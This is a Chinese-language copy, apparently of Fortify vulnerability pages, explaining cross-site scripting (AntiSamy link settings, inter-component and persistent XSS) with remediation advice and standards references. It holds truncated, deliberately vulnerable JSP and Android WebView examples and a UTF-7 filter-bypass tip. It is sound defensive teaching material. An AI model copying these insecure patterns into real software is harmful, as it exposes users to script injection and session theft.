Cross-Site Scripting (XSS) 漏洞在以下情况下发生:
数据通过一个不可信赖的资源进入 Web 应用程序,通常是一个网页请求或者数据库。
未检验包含在动态内容中的数据,便将其传送给了 Web 用户。
传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私人数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。
由于针对 XSS 漏洞进行的攻击通常涉及到与受攻击者控制的恶意站点进行通信或需要重新定向到该站点,因此注入对其他域内容引用的能力在诸多攻击中必不可少。可对 AntiSamy 进行配置,使其阻止指向外部域的链接,进而降低攻击者可通过 XSS 攻击造成的破坏。然而,这种保护只能解决部分问题,并不能解决由 XSS 漏洞带来的整体威胁。
例 1:以下 AntiSamy 配置条目允许链接至在应用程序所运行的域之外的 URL。
1 | <attribute name="href" onInvalid="filterTag"> |
RECOMMENDATIONS
无论什么时候,应尽可能阻止引用了外部域的链接。
例 2:以下 AntiSamy 配置条目禁止链接至在应用程序所运行的域之外的 URL。
1 | <attribute name="href" onInvalid="filterTag"> |
由于 XSS 漏洞出现在应用程序的输出中包含恶意数据时,因此,合乎逻辑的做法是在数据流出应用程序的前一刻对其进行验证。然而,由于 Web 应用程序常常会包含复杂而难以理解的代码,用以生成动态内容,因此,这一方法容易产生遗漏错误(遗漏验证)。降低这一风险的有效途径是对 XSS 也执行输入验证。
由于 Web 应用程序必须验证输入信息以避免其他漏洞(如 SQL Injection),因此,一种相对简单的解决方法是,加强一个应用程序现有的输入验证机制,将 XSS 检测包括其中。尽管有一定的价值,但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储或其他可信赖的数据源接受输入,而该数据存储所接受的输入源可能并未执行适当的输入验证。因此,应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着,避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。
针对 XSS 漏洞进行验证最安全的方式是,创建一份安全字符白名单,允许其中的字符出现在 HTTP 内容中,并且只接受完全由这些经认可的字符组成的输入。例如,有效的用户名可能仅包含字母数字字符,电话号码可能仅包含 0-9 的数字。然而,这种解决方法在 Web 应用程序中通常是行不通的,因为许多字符对浏览器来说都具有特殊的含义,在写入代码时,这些字符仍应被视为合法的输入,比如一个 Web 设计版就必须接受带有 HTML 代码片段的输入。
更灵活的解决方法称为黑名单方法,但其安全性较差,这种方法在进行输入之前就有选择地拒绝或避免了潜在的危险字符。为了创建这样一个列表,首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义,但是许多 Web 浏览器会设法更正 HTML 中的常见错误,并可能在特定的上下文中认为其他字符具有特殊含义,这就是我们不鼓励使用黑名单作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]:
在有关块级别元素的内容中(位于一段文本的中间):
- “<” 是一个特殊字符,因为它可以引入一个标签。
- “&” 是一个特殊字符,因为它可以引入一个字符实体。
- “>” 是一个特殊字符,之所以某些浏览器将其认定为特殊字符,是基于一种假设,即该页的作者本想在前面添加一个 “<“,却错误地将其遗漏了。
下面的这些原则适用于属性值:
- 对于外加双引号的属性值,双引号是特殊字符,因为它们标记了该属性值的结束。
- 对于外加单引号的属性值,单引号是特殊字符,因为它们标记了该属性值的结束。
- 对于不带任何引号的属性值,空格字符(如空格符和制表符)是特殊字符。
- ”&” 与某些特定变量一起使用时是特殊字符,因为它引入了一个字符实体。
例如,在 URL 中,搜索引擎可能会在结果页面内提供一个链接,用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句,这将引入更多特殊字符:
- 空格符、制表符和换行符是特殊字符,因为它们标记了 URL 的结束。
- “&” 是特殊字符,因为它可引入一个字符实体或分隔 CGI 参数。
- 非 ASCII 字符(即 ISO-8859-1 编码表中所有高于 128 的字符)不允许出现在 URL 中,因此在此上下文中也被视为特殊字符。
- 在服务器端对在 HTTP 转义序列中编码的参数进行解码时,必须过滤掉输入中的 “%” 符号。例如,当输入中出现 “%68%65%6C%6C%6F” 时,只有从输入的内容中过滤掉 “%“,上述字符串才能在网页上显示为 “hello”。
在 <SCRIPT> </SCRIPT>
的正文内:
- 如果可以将文本直接插入到已有的脚本标签中,应该过滤掉分号、省略号、中括号和换行符。
服务器端脚本:
- 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (”),则可能需要对此进行更多过滤。
配置文件可用来缩小攻击者可用来实施攻击的攻击面。
例 1:以下 AntiSamy 配置文件禁止在 href 中设置异地 URL。
1 | <attribute name="href" onInvalid="filterTag"> |
REFERENCES
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[7] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[8] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[9] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[10] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[18] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[19] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-003300 CAT II
[30] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
[31] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
Cross-Site Scripting: Inter-Component Communication
ABSTRACT
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
EXPLANATION
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:
数据通过一个不可信赖的数据源进入 Web 或移动应用程序。在组件间通信 XSS 的情况下,不可信赖的数据是从驻留在同一系统上的其他组件接收的数据。在移动应用中,这是指运行在同一设备中的应用程序。对于 Reflected XSS,不可信赖的源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该源通常为数据库或其他后端数据存储。
未检验包含在动态内容中的数据,便将其传送给了 Web 用户。
传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私人数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。
有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 cross-site scripting)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
示例 1:以下代码在 Android WebView 中启用了 JavaScript(默认情况下,JavaScript 为禁用状态),并根据从 Android Intent 接收到的值加载页面。
1 | ... |
如果 url 的值以 javascript: 开头,则接下来的 JavaScript 代码将在 WebView 中的 Web 页面上下文内部执行。
示例 2:以下 JSP 代码片段可从 HTTP 请求中读取雇员 ID eid,并将其显示给用户。
1 | <% String eid = request.getParameter("eid"); %> |
如果 eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 eid 里有包含元字符或源代码中的值,那么 Web 浏览器就会像显示 HTTP 响应那样执行代码。
起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码的 URL,并且还在自己的电脑上运行呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或者社会工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。
示例 3:以下 JSP 代码片段可在数据库中查询具有给定 ID 的雇员,并输出相应雇员姓名。
1 | <%... |
如同例 2,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的盗取行为无能为力。同样,这段代码暴露出的危险较小,因为 name 的值是从数据库中读取的,而且显然这些内容是由应用程序管理的。然而,如果 name 的值是由用户提供的数据产生,数据库就会成为恶意内容沟通的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的 Persistent XSS(也称为 Stored XSS)盗取极其阴险狡猾,因为数据存储导致的间接性使得辨别威胁的难度增大,而且还提高了一个攻击影响多个用户的可能性。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿的用户都会执行这些恶意代码。
正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:
— 正如例 1 所示,应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并存储在动态内容中。
- 如例 2 所述,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行,就会发生反射式 XSS 盗取。发送恶意内容最常用的方法是,把恶意内容作为一个参数包含在公开发表的 URL 中,或者通过电子邮件直接发送给受害者。以这种手段构造的 URL 构成了多种“网络钓鱼”(phishing) 阴谋的核心,攻击者借此诱骗受害者访问指向易受攻击站点的 URL。站点将攻击者的内容反馈给受害者以后,便会执行这些内容,接下来会把用户计算机中的各种私密信息(比如包含会话信息的 cookie)传送给攻击者,或者执行其他恶意活动。
- 如例 3 所述,应用程序将危险数据储存在一个数据库或其他可信赖的数据存储器中。这些危险数据随后会被回写到应用程序中,并包含在动态内容中。Persistent XSS 盗取发生在如下情况:攻击者将危险内容注入到数据存储器中,且该存储器之后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于一个面向许多用户,尤其是相关用户显示的区域。相关用户通常在应用程序中具备较高的特权,或相互之间交换敏感数据,这些数据对攻击者来说有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人所有的敏感数据的访问权限。
许多现代 Web 框架都提供对用户输入执行验证的机制。其中包括 Struts 和 Struts 2。为了突出显示未经验证的输入源,Fortify 安全编码规则包会降低 Fortify Static Code Analyzer(Fortify 静态代码分析器)报告的问题被利用的可能性,并在使用框架验证机制时提供相应的依据,以动态重新调整问题优先级。我们将这种功能称之为上下文敏感排序。为了进一步帮助 Fortify 用户执行审计过程,Fortify 软件安全研究团队提供了数据验证项目模板,该模板会根据应用于输入源的验证机制,将问题分组到多个文件夹中。
RECOMMENDATIONS
针对 XSS 的解决方法是,确保在适当位置进行验证,并检验其属性是否正确。
由于 XSS 漏洞出现在应用程序的输出中包含恶意数据时,因此,合乎逻辑的做法是在数据流出应用程序的前一刻对其进行验证。然而,由于 Web 应用程序常常会包含复杂而难以理解的代码,用以生成动态内容,因此,这一方法容易产生遗漏错误(遗漏验证)。降低这一风险的有效途径是对 XSS 也执行输入验证。
由于 Web 应用程序必须验证输入信息以避免其他漏洞(如 SQL Injection),因此,一种相对简单的解决方法是,加强一个应用程序现有的输入验证机制,将 XSS 检测包括其中。尽管有一定的价值,但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储或其他可信赖的数据源接受输入,而该数据存储所接受的输入源可能并未执行适当的输入验证。因此,应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着,避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。
针对 XSS 漏洞进行验证最安全的方式是,创建一份安全字符白名单,允许其中的字符出现在 HTTP 内容中,并且只接受完全由这些经认可的字符组成的输入。例如,有效的用户名可能仅包含字母数字字符,电话号码可能仅包含 0-9 的数字。然而,这种解决方法在 Web 应用程序中通常是行不通的,因为许多字符对浏览器来说都具有特殊的含义,在写入代码时,这些字符仍应被视为合法的输入,比如一个 Web 设计版就必须接受带有 HTML 代码片段的输入。
更灵活的解决方法称为黑名单方法,但其安全性较差,这种方法在进行输入之前就有选择地拒绝或避免了潜在的危险字符。为了创建这样一个列表,首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义,但是许多 Web 浏览器会设法更正 HTML 中的常见错误,并可能在特定的上下文中认为其他字符具有特殊含义,这就是我们不鼓励使用黑名单作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]:
在有关块级别元素的内容中(位于一段文本的中间):
-“<”是一个特殊字符,因为它可以引入一个标签。
-“&”是一个特殊字符,因为它可以引入一个字符实体。
-“>”是一个特殊字符,之所以某些浏览器将其认定为特殊字符,是基于一种假设,即该页的作者本想在前面添加一个“<”,却错误地将其遗漏了。
下面的这些原则适用于属性值:
- 对于外加双引号的属性值,双引号是特殊字符,因为它们标记了该属性值的结束。
- 对于外加单引号的属性值,单引号是特殊字符,因为它们标记了该属性值的结束。
- 对于不带任何引号的属性值,空格字符(如空格符和制表符)是特殊字符。
-“&”与某些特定变量一起使用时是特殊字符,因为它引入了一个字符实体。
例如,在 URL 中,搜索引擎可能会在结果页面内提供一个链接,用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句,这将引入更多特殊字符:
- 空格符、制表符和换行符是特殊字符,因为它们标记了 URL 的结束。
-“&”是特殊字符,因为它可引入一个字符实体或分隔 CGI 参数。
- 非 ASCII 字符(即 ISO-8859-1 编码表中所有高于 128 的字符)不允许出现在 URL 中,因此在此上下文中也被视为特殊字符。
- 在服务器端对在 HTTP 转义序列中编码的参数进行解码时,必须过滤掉输入中的“%”符号。例如,当输入中出现“%68%65%6C%6C%6F”时,只有从输入的内容中过滤掉“%”,上述字符串才能在网页上显示为“hello”。
在<SCRIPT> </SCRIPT>
的正文内:
— 如果可以将文本直接插入到已有的脚本标签中,应该过滤掉分号、省略号、中括号和换行符。
服务器端脚本:
- 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (“),则可能需要对此进行更多过滤。
其他可能出现的情况:
- 如果攻击者在 UTF-7 中提交了一个请求,那么特殊字符“<”可能会显示为“+ADw-”,并可能会绕过过滤。如果输出包含在没有确切定义编码格式的网页中,有些浏览器就会设法根据内容自动识别编码(此处采用 UTF-7 格式)。
一旦在应用程序中确定了针对 XSS 攻击执行验证的正确要点,以及验证过程中要考虑的特殊字符,下一个难点就是定义验证过程中处理各种特殊字符的方式。如果应用程序认定某些特殊字符为无效输入,那么您可以拒绝任何带有这些无效特殊字符的输入。第二种选择就是采用过滤手段来删除这些特殊字符。然而,过滤的负面作用在于,过滤内容的显示将发生改变。在需要完整显示输入内容的情况下,过滤的这种负面作用可能是无法接受的。
如果必须接受带有特殊字符的输入,并将其准确地显示出来,验证机制一定要对所有特殊字符进行编码,以便删除其具有的含义。官方的 HTML 规范 [2] 提供了特殊字符对应的 ISO 8859-1 编码值的完整列表。
许多应用程序服务器都试图避免应用程序出现 Cross-Site Scripting 漏洞,具体做法是为负责设置特定 HTTP 响应内容的函数提供各种实现方式,以检验是否存在进行 Cross-Site Scripting 攻击必需的字符。不要依赖运行应用程序的服务器,以此确保该应用程序的安全。开发了某个应用程序后,并不能保证在其生命周期中它会在哪些应用程序服务器中运行。由于标准和已知盗取方式的演变,我们不能保证应用程序服务器也会保持同步。
REFERENCES
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: AnalyzingWebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] INPUT-1: Validate inputs Oracle
[7] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[11] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[12] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[13] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[14] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[21] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[22] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[23] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[34] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
[35] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
Cross-Site Scripting: Persistent
ABSTRACT
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
EXPLANATION
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:
数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Persistent(也称为 Stored)XSS,不可信赖的源通常为数据库或其他后端数据存储,而对于 Reflected XSS,该源通常为 Web 请求。
未检验包含在动态内容中的数据,便将其传送给了 Web 用户。
传送到 Web 浏览器的恶意内容通常采用 JavaScript 代码片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私人数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。
示例 1:以下 JSP 代码片段可在数据库中查询具有给定 ID 的雇员,并输出相应雇员姓名。
1 | <%... |
如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的盗取行为无能为力。这段代码暴露出的危险较小,因为 name 的值是从数据库中读取的,而且显然这些内容是由应用程序管理的。然而,如果 name 的值是由用户提供的数据产生,数据库就会成为恶意内容沟通的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的 Persistent XSS(也称为 Stored XSS)盗取极其阴险狡猾,因为数据存储导致的间接性使得辨别威胁的难度增大,而且还提高了一个攻击影响多个用户的可能性。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿的用户都会执行这些恶意代码。
示例 2:以下 JSP 代码片段可从 HTTP 请求中读取雇员 ID eid,并将其显示给用户。
1 | <% String eid = request.getParameter("eid"); %> |
如例 1 中所述,如果 eid 只包含标准的字母或数字文本,此代码就能正确运行。如果 eid 里有包含元字符或源代码中的值,那么 Web 浏览器就会像显示 HTTP 响应那样执行代码。
起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码的 URL,并且还在自己的电脑上运行呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或者社会工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。
有些人认为在移动世界中,典型的 Web 应用程序漏洞(如 cross-site scripting)是无意义的 – 为什么用户要攻击自己?但是,谨记移动平台的本质是从各种来源下载并在相同设备上运行的应用程序。恶意软件在银行应用程序附近运行的可能性很高,它们会强制扩展移动应用程序的攻击面(包括跨进程通信)。
示例 3:以下代码在 Android WebView 中启用了 JavaScript(默认情况下,JavaScript 为禁用状态),并根据从 Android Intent 接收到的值加载页面。
1 | ... |
如果 url 的值以 javascript: 开头,则接下来的 JavaScript 代码将在 WebView 中的 Web 页面上下文内部执行。
正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:
- 如例 1 所述,应用程序将危险数据储存在一个数据库或其他可信赖的数据存储器中。这些危险数据随后会被回写到应用程序中,并包含在动态内容中。Persistent XSS 盗取发生在如下情况:攻击者将危险内容注入到数据存储器中,且该存储器之后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于一个面向许多用户,尤其是相关用户显示的区域。相关用户通常在应用程序中具备较高的特权,或相互之间交换敏感数据,这些数据对攻击者来说有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人所有的敏感数据的访问权限。
- 如例 2 所述,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行,就会发生反射式 XSS 盗取。发送恶意内容最常用的方法是,把恶意内容作为一个参数包含在公开发表的 URL 中,或者通过电子邮件直接发送给受害者。以这种手段构造的 URL 构成了多种“网络钓鱼”(phishing) 阴谋的核心,攻击者借此诱骗受害者访问指向易受攻击站点的 URL。站点将攻击者的内容反馈给受害者以后,便会执行这些内容,接下来会把用户计算机中的各种私密信息(比如包含会话信息的 cookie)传送给攻击者,或者执行其他恶意活动。
— 正如例 3 所示,应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并存储在动态内容中。
许多现代 Web 框架都提供对用户输入执行验证的机制。其中包括 Struts 和 Struts 2。为了突出显示未经验证的输入源,Fortify 安全编码规则包会降低 Fortify Static Code Analyzer(Fortify 静态代码分析器)报告的问题被利用的可能性,并在使用框架验证机制时提供相应的依据,以动态重新调整问题优先级。我们将这种功能称之为上下文敏感排序。为了进一步帮助 Fortify 用户执行审计过程,Fortify 软件安全研究团队提供了数据验证项目模板,该模板会根据应用于输入源的验证机制,将问题分组到多个文件夹中。
RECOMMENDATIONS
针对 XSS 的解决方法是,确保在适当位置进行验证,并检验其属性是否正确。
由于 XSS 漏洞出现在应用程序的输出中包含恶意数据时,因此,合乎逻辑的做法是在数据流出应用程序的前一刻对其进行验证。然而,由于 Web 应用程序常常会包含复杂而难以理解的代码,用以生成动态内容,因此,这一方法容易产生遗漏错误(遗漏验证)。降低这一风险的有效途径是对 XSS 也执行输入验证。
由于 Web 应用程序必须验证输入信息以避免其他漏洞(如 SQL Injection),因此,一种相对简单的解决方法是,加强一个应用程序现有的输入验证机制,将 XSS 检测包括其中。尽管有一定的价值,但 XSS 输入验证并不能取代严格的输出验证。应用程序可能通过共享的数据存储或其他可信赖的数据源接受输入,而该数据存储所接受的输入源可能并未执行适当的输入验证。因此,应用程序不能间接地依赖于该数据或其他任意数据的安全性。这就意味着,避免 XSS 漏洞的最佳方法是验证所有进入应用程序以及由应用程序传送至用户端的数据。
针对 XSS 漏洞进行验证最安全的方式是,创建一份安全字符白名单,允许其中的字符出现在 HTTP 内容中,并且只接受完全由这些经认可的字符组成的输入。例如,有效的用户名可能仅包含字母数字字符,电话号码可能仅包含 0-9 的数字。然而,这种解决方法在 Web 应用程序中通常是行不通的,因为许多字符对浏览器来说都具有特殊的含义,在写入代码时,这些字符仍应被视为合法的输入,比如一个 Web 设计版就必须接受带有 HTML 代码片段的输入。
更灵活的解决方法称为黑名单方法,但其安全性较差,这种方法在进行输入之前就有选择地拒绝或避免了潜在的危险字符。为了创建这样一个列表,首先需要了解对于 Web 浏览器具有特殊含义的字符集。虽然 HTML 标准定义了哪些字符具有特殊含义,但是许多 Web 浏览器会设法更正 HTML 中的常见错误,并可能在特定的上下文中认为其他字符具有特殊含义,这就是我们不鼓励使用黑名单作为阻止 XSS 的方法的原因。卡耐基梅隆大学 (Carnegie Mellon University) 软件工程学院 (Software Engineering Institute) 下属的 CERT(R) (CERT(R) Coordination Center) 合作中心提供了有关各种上下文中认定的特殊字符的具体信息 [1]:
在有关块级别元素的内容中(位于一段文本的中间):
-“<”是一个特殊字符,因为它可以引入一个标签。
-“&”是一个特殊字符,因为它可以引入一个字符实体。
-“>”是一个特殊字符,之所以某些浏览器将其认定为特殊字符,是基于一种假设,即该页的作者本想在前面添加一个“<”,却错误地将其遗漏了。
下面的这些原则适用于属性值:
- 对于外加双引号的属性值,双引号是特殊字符,因为它们标记了该属性值的结束。
- 对于外加单引号的属性值,单引号是特殊字符,因为它们标记了该属性值的结束。
- 对于不带任何引号的属性值,空格字符(如空格符和制表符)是特殊字符。
-“&”与某些特定变量一起使用时是特殊字符,因为它引入了一个字符实体。
例如,在 URL 中,搜索引擎可能会在结果页面内提供一个链接,用户可以点击该链接来重新运行搜索。可以将这一方法运用于编写 URL 中的搜索查询语句,这将引入更多特殊字符:
- 空格符、制表符和换行符是特殊字符,因为它们标记了 URL 的结束。
-“&”是特殊字符,因为它可引入一个字符实体或分隔 CGI 参数。
- 非 ASCII 字符(即 ISO-8859-1 编码表中所有高于 128 的字符)不允许出现在 URL 中,因此在此上下文中也被视为特殊字符。
- 在服务器端对在 HTTP 转义序列中编码的参数进行解码时,必须过滤掉输入中的“%”符号。例如,当输入中出现“%68%65%6C%6C%6F”时,只有从输入的内容中过滤掉“%”,上述字符串才能在网页上显示为“hello”。
在 <SCRIPT> </SCRIPT>
的正文内:
— 如果可以将文本直接插入到已有的脚本标签中,应该过滤掉分号、省略号、中括号和换行符。
服务器端脚本:
- 如果服务器端脚本会将输入中的感叹号 (!) 转换成输出中的双引号 (“),则可能需要对此进行更多过滤。
其他可能出现的情况:
- 如果攻击者在 UTF-7 中提交了一个请求,那么特殊字符“<”可能会显示为“+ADw-”,并可能会绕过过滤。如果输出包含在没有确切定义编码格式的网页中,有些浏览器就会设法根据内容自动识别编码(此处采用 UTF-7 格式)。
